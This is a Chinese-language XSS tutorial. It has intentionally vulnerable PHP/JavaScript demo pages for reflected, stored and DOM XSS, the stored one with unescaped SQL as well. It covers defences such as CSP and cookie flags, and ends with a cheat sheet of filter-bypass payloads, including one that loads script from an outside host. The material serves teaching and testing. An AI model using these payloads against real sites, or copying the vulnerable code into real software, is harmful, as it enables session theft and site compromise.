復習xss ,也總結一下XSS基礎的點到進階的知識
目錄
0x01 XSS掃盲入門
0x02 XSS payload構造
0x03 XSS payload變形進階
0x01 XSS掃盲入門
XSS是什么?
XSS全稱跨站腳本(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。跨站點腳本(XSS)攻擊是一種注射型攻擊,攻擊者在可信的網頁中嵌入惡意代碼,用戶訪問可信網頁時觸發XSS而被攻擊。
XSS會造成那些危害?
- 網絡釣魚,包括獲取各類用戶賬號;
- 竊取用戶cookies資料,從而獲取用戶隱私信息,或利用用戶身份進一步對網站執行操作;
- 劫持用戶(瀏覽器)會話,從而執行任意操作,例如非法轉賬、強制發表日志、電子郵件等;
- 強制彈出廣告頁面、刷流量等;
- 網頁掛馬;
- 進行惡意操作,如任意篡改頁面信息、刪除文章等;
- 進行大量的客戶端攻擊,如ddos等;
- 獲取客戶端信息,如用戶的瀏覽歷史、真實ip、開放端口等;
- 控制受害者機器向其他網站發起攻擊;
- 結合其他漏洞,如csrf,實施進一步危害;
- 提升用戶權限,包括進一步滲透網站;
- 傳播跨站腳本蠕蟲等
XSS的分類
- 反射性XSS
- 存儲型XSS
- DOM型XSS
A) 反射XSS
又稱非持久型XSS,這種攻擊方式往往具有一次性,只在用戶單擊時觸發。
<!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="Generator" content="EditPlus®"> <meta name="Author" content=""> <meta name="Keywords" content=""> <meta name="Description" content=""> <title>XSS-LEVEL1反射XSS</title> </head> <body> <H1>反射XSS-LEVEL1 By 卿</H1> <HR> <BR/> <H4>輸入您需要提交的內容</H4> <form action="" method="get"> <input type="text" name="xss"/> <input type="submit" value="test"/> </form> <?php $xss = @$_GET['xss']; if($xss!==null){ echo "<br/>"; echo "您提交的內容是:".$xss; } ?> </body> </html>
這段代碼中首先包含一個表單,用於向頁面自己發送GET請求,帶一個名為xss的參數。 然后PHP會讀取該參數,如果不為空,則直接打印出來,這里不存在任何過濾。也就是說,如果xss中存在HTML結構性的內容,打印之后會直接解釋為HTML元素。
提交<script>alert('hack')</script>

我們輸入的HTML代碼被執行了。查看審查元素,我們插入的內容被當做html元素顯示在頁面上了。

B)存儲型xss
又稱持久型XSS,比反射型XSS更具有威脅性,並且可能影響到Web服務器自身的安全。攻擊腳本將被永久的存放在目標服務器的數據庫或文件中。
RT-xss.php內容:
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="Generator" content="EditPlus®">
<meta name="Author" content="">
<meta name="Keywords" content="">
<meta name="Description" content="">
<title>XSS-LEVEL1反射XSS</title>
</head>
<body>
<H1>存儲型XSS-LEVEL1 By 卿</H1>
<HR>
<BR/>
<H4>輸入您需要提交的內容</H4>
<form action="" method="post">
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss=@$_POST['xss'];
mysql_connect("localhost","root","root");
mysql_select_db("xss");
if($xss!==null){
$sql="insert into temp(payload) values('$xss')";
$result=mysql_query($sql);
if($result){
echo "提交成功!";
}else{
echo "提交失敗!";
}
}
?>
<a href=./show.php>點擊查看提交的內容</a>
</body>
</html>
打印輸出內容的show.php:
<?php header("Content-type: text/html; charset=utf-8"); mysql_connect("localhost","root","root"); mysql_select_db("xss"); $sql="select payload from temp"; $result=mysql_query($sql); while($row=mysql_fetch_array($result)){ echo "查詢輸入過的內容是:".$row['payload']; echo "<br />"; } ?>
訪問RT-XSS.php,輸入<script>alert(\'hack\')</script>

點擊test,點擊之后卻發現沒有任何動靜,但事實上,我們的數據已經插入到了數據庫中


C) DOM-XSS型
DOM(Document object model),使用DOM能夠使程序和腳本能夠動態訪問和更新文檔的內容、結構和樣式。
DOM型XSS其實是一種特殊類型的反射型XSS,它是基於DOM文檔對象的一種漏洞。DOM型XSS是基於js上的。不需要與服務器進行交互。
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="Generator" content="EditPlus®">
<meta name="Author" content="">
<meta name="Keywords" content="">
<meta name="Description" content="">
<title>XSS-LEVEL1反射XSS</title>
</head>
<body>
<H1>DOM-XSS-LEVEL1 By 卿</H1>
<HR>
<BR/>
<H4>輸入您需要提交的內容</H4>
<form action="" method="get">
<input type="text" name="name"/>
<input type="submit" value="test"/>
</form>
<?php
error_reporting(0); //禁用錯誤報告
$name = $_GET["name"];
?>
<br>
<hr>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript">
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value; // 獲取 text的值,並且輸出在print內。這里是導致xss的主要原因。
</script>
輸入
<img src=1 onerror=alert(1)>,
點擊test

提到xss,不得提一下xss的 防御策略
Content Security Policy(CSP)內容安全策略
為了防范XSS,CSP出現了。
CSP 的實質就是白名單制度,開發者明確告訴客戶端,哪些外部資源可以加載和執行,提供了這種白名單之后,實現和執行則由瀏覽器完成
通過一系列的自定義配置,可以在很大程度上防止惡意腳本的攻擊,建議進行配置。
Cookie 配置
大多使用cookie來實現對用戶的認證。如果攻擊者拿到了這個認證cookie,就可以登錄了用戶的賬號了
XSS的主要目的是為了得到cookie,當然也不僅是為了獲取cookie
cookie安全注意點
Httponly:防止cookie被xss偷
https:防止cookie在網絡中被偷
Secure:阻止cookie在非https下傳輸,很多全站https時會漏掉
Path :區分cookie的標識,安全上作用不大,和瀏覽器同源沖突
通過設置 cookie的幾個屬性,可以在一定程度上保障網站的安全
0x02 XSS payload構造
了解了xss分類和原理后我們需要思考的是:在什么地方可以執行JS相關的代碼
先學習下關於編碼的問題。
瀏覽器的解析過程
瀏覽器在解析HTML文檔期間,根據文檔中的內容,會經過 HTML解析、JS解析和URL解析幾個過程
首先瀏覽器接收到一個HTML文檔時,會觸發HTML解析器對HTML文檔進行詞法解析,這完成HTML解碼工作並創建DOM樹。
如果HTML文檔中存在JS的上下文環境,JavaScript解析器會介入對內聯腳本進行解析,完成JS的解碼工作。
如果瀏覽器遇到需要URL的上下文環境,URL解析器也會介入完成URL的解碼工作。
URL解析器的解碼順序會根據URL所在位置不同,可能在JavaScript解析器之前或之后解析
HTML實體編碼
瀏覽器會對一些字符進行特殊識別處理,比如將 < > 識別為標簽的開始結束。
要想在HTML頁面中呈現出特殊字符,就需要用到對應的字符實體。比如在HTML解析過程中,如果要求輸出值為 < > ,那么輸入值應該為其對應的實體 < >
字符實體以&開頭 + 預先定義的實體名稱,以分號結束,如“<”的實體名稱為< 或以&開頭 + #符號 以及字符的十進制數字,如”<”的實體編號為< 或以&開頭 + #x符號 以及字符的十六進制數字,如”<”的實體編號為< 字符都是有實體編號的但有些字符沒有實體名稱。
Javascript編碼
Unicode 是字符集,而 utf-8,utf-16,utf-32 是編碼規則
最常用的如“\uXXXX”這種寫法為Unicode轉義序列,表示一個字符,其中xxxx表示一個16進制數字
如”<” Unicode編碼為“ ”,不區分大小寫
URL編碼
%加字符的ASCII編碼對於的2位16進制數字,如”/”對應的URL編碼為%2f
常見XSS payload位置
1、html內容中
1.1 大小寫不敏感
<sCript>alert(1);</scrIpt>
1.2 嵌套繞過<script>
<sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt>
1.3 svg 注入(HTML5 支持內聯 SVG)
<svg/onload=alert(document.domain)>
1.4 執行代碼轉換成unicode編碼,再通過eval執行
<img src=N onerror
="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))">

2. HTML標簽屬性中
很多時候輸出發生在HTML屬性, 例如<input value="輸出"> 、 <img onload="...[輸出]..."> ,再比如 <body style="...[輸出]...">
等
2.1 自行閉合雙引號構造閉合標簽:
" onclick="alert(1) "><img src='a' onerror=alert(document.domain)> "><svg/onload=alert(document.domain)> <a href=abcd.jsp?ttt=1000 onmouseover=alert(123) y=2016>2</a> <a href="" onclick=eval(alert('xss'))>aaa</a> <a href="" onclick="alert(1)">aaa</a>
構造on事件:
" onmouseover=alert(document.domain)>
增加注釋符//:
" onmouseover=alert(document.domain)> //
利用html5 autofocus功能進行XSS:
aaaaa" name="javasCript:alert()" autofocus onfocus="location=this.name" aaa">
很多時候遇到的場景並不會這么簡單, 程序員會將雙引號 " 過濾為實體 例如
<input type="text" value="燒餅" onclick="alert(1)" />
Form標簽閉合引號:
<form method=Post action=abcd.jsp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action后面直接空格
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action=javascript:alert('xss') >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action=1 onmouseover=alert(123) bbb=111 >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
2.2 兩個常見的輸出例子
<HTML標簽 onXXXX="...[輸出在這里].."><a href="javascript:[輸出在這里]">xxxx </a>
實際上, onxxxx="[輸出]" 和 href="javascript:[輸出]" 與 <script>[輸出]</script> 沒有太大區別。因為[輸出]所在的地方,都是javascript腳本。
但是<script>[輸出]</script> 如果被過濾,往往沒有太好的辦法。而上面這2種情況,則有一個很好的辦法繞過過濾。
在HTML屬性中,會自動對實體字符進行轉義,例如<img src="1" onerror="alert(1)"> 和 <img src="1" onerror="alert(1)"> 是等效的
<input type="text" id="pagenum" onkeydown="if ((event.keyCode==13)) location.href='http://www.baidu.com?key=aaaaaa'">
由於單引號'被過濾,我們可以將'寫為'
location.href='........&key=aaaaaa' location.href='........&key=aaaaaa'+alert(1)+'' location.href='........&key=aaaaaa'+alert(1)+'‘
接着我們把代碼轉換為 url 的編碼。 &-> %26, # -> %23最后
key=%26%23x27;%2balert(1)%2b%26%2aaaaaaa3x27;
缺陷點是發生在 onkeydown 或 a 標簽的 href 屬性中,無法自動觸發,因而使得威脅減小,如果是發生在 img 的 onload 屬性,則非常可能導致自動觸發
3. js內容中(<script>標簽中)
用戶輸入內容直接顯示在<script></script>代碼執行上下文中,我們可以 首先判斷,是否過濾了* < , > , /* 等特殊符號,如果沒有被過濾可以XSS可能性就很高
盡量不要在JS的注釋里輸出內容, 還挺危險的。
防御方式:將一下特殊字符進行轉義
防御方式: 對這些輸出的特殊字符進行編碼

0x03 XSS payload變形繞過
參考XSS備忘錄
RSnake提供給 OWASP,內容基於他的XSS備忘錄:http://ha.ckers.org/xss.html。目前這個網頁已經重定向到OWASP網站,將由OWASP維護和完善它。
列舉一些常用例子:
XSS定位器
在大多數存在漏洞且不需要特定XSS攻擊代碼的地方插入下列代碼會彈出包含“XSS”字樣的對話框。使用URL編碼器來對整個代碼進行編碼。小技巧:如果你時間很緊想要快速檢查頁面,通常只要插入“<任意文本>”標簽,然后觀察頁面輸出是否明顯改變了就可以判斷是否存在漏洞:
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
. XSS定位器(短)
如果你沒有足夠的空間並且知道頁面上沒有存在漏洞的JavaScript,這個字符串是一個不錯的簡潔XSS注入檢查。注入后查看頁面源代碼並且尋找是否存在<XSS 或<XSS字樣來確認是否存在漏洞
”;!–”<XSS>=&{()}
無過濾繞過
這是一個常規的XSS注入代碼,雖然通常它會被防御,但是建議首先去測試一下。(引號在任何現代瀏覽器中都不需要,所以這里省略了它):
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
利用多語言進行過濾繞過
‘”>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script><script>alert(document.cookie)</script>”><img/id=”confirm(1)”/alt=”/”src=”/”onerror=eval(id)>’”><img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“>
通過JavaScript命令實現的圖片XSS
圖片注入使用JavaScript命令實現(IE7.0 不支持在圖片上下文中使用JavaScript 命令,但是可以在其他上下文觸發。下面的例子展示了一種其他標簽依舊通用的原理):
<IMG SRC=”javascript:alert(‘XSS’);”>
無分號無引號
<IMG SRC=javascript:alert(‘XSS’)>
不區分大小寫的XSS攻擊向量
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
HTML實體
必須有分號才可生效
<IMG SRC=javascript:alert("XSS")>
重音符混淆
如果你的JavaScript代碼中需要同時使用單引號和雙引號,那么可以使用重音符(`)來包含JavaScript 代碼。這通常會有很大幫助,因為大部分跨站腳本過濾器都沒有過濾這個字符:
<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>
